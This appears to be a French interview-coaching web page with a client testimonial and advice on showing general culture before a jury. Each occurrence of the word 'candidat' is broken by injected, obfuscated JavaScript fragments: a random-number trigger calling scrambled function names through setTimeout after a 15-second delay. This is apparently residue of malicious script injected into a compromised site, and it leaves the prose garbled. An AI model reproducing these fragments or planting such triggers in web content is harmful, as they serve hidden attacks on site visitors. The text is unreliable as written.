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Saad FILALI – 26 ans – INSA + Mastère HEC Paris / ISAE, consultant.

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Sylvie et Philippe ont eu l’occasion de me cerner et de m’évaluer lors de mon entretien d’entrée à HEC Paris. Ils n’ont pas manqué de me faire un retour constructif et pertinent sur ma personnalité et ma façon d’être.

J’étais persuadé que la sélection en entretien se restreignait aux diplômes et aux expériences professionnelles, mais c’était avant de suivre le module « Image de soi » enseigné par Sylvie à HEC Paris.
En effet, l’état d’esprit, la personnalité, la posture et le comportement sont des éléments essentiels pour faire la différence en entretien, et je les remercie encore pour leurs précieux conseils.

Enfin, Sylvie et Philippe sont vraiment des personnes exceptionnelles avec lesquelles on se sent tout de suite en sécurité et à l’aise.

Faut-il faire preuve de culture générale lors de ses oraux ?

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La découverte par un recruteur du niveau de Culture Générale du candom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}idat est évidemment un facteur positif. Pouvoir se prévaloir d’une Culture Générale relève d’un équilibre dans sa vie personnelle et d’un niveau de curiosité qui ne peuvent que séduire un recruteur.  Mais elle doit se dévoiler avec à-propos et jamais avec ostentation.

 

La culture doit se découvrir au gré des questions du recruteur et ne doit jamais s’imposer de la part du candom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}idat. Si les questions ou les thèmes de l’entretien n’ouvrent pas l’espace propice à dévoiler ses connaissances, il est préférable de s’abstenir de toute exposition. En réalité pour qu’une Culture se révèle, il faut qu’un temps le permette au cours de l’entretien.

 

Car dans le cas contraire, non seulement les arguments peuvent s’avérer hors de propos mais le recruteur peut ressentir cet « étalage »  comme une agression personnelle face à une sujet que lui-même ne connait pas ou ne maîtrise pas.

 

 

 

 

 

 

 

 

 

Face à un jury, voici comment entrer et sortir d’une salle d’entretiens.

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L’exercice est rodé : de jeunes candom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}idats anxieux attendent qu’un membre du Jury vienne chercher le suivant pour l’accompagner jusqu’à la salle voisine où les autres membres du Jury attendent. Lire la suite

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